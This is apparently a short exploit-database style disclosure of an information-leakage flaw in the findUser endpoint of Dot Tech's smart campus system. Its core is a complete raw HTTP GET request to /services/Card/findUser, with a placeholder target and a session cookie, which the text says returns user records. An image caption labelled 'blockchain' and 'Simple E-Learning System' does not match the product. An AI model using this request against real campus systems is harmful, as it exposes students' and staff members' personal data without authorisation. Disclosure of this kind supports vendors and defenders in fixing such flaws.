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Exploit Title: Information leakage vulnerability exists in findUser, a smart campus system developed by Dot Tech

Date: 2022-12/02

Exploit Author: Peanut886

Vendor Homepage: http://www.dianvo.com/Gywm/index.jhtml

Version: V1.0

Tested on: windows10 + phpstudy

Description

Information leakage vulnerability exists in findUser, a smart campus system developed by Dot Tech

Payload used:

GET /services/Card/findUser HTTP/1.1
Host: TARGET:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=CF54BC1161620D928C2D258B97DEE39B
Connection: close

Returns part of the package

![blockchain](https://github.com/Peanut886/Vulnerability/blob/main/imgs/20221202-4.jpg https://github.com/Peanut886/Vulnerability/blob/main/imgs/20221202-5.jpg "Simple E-Learning System")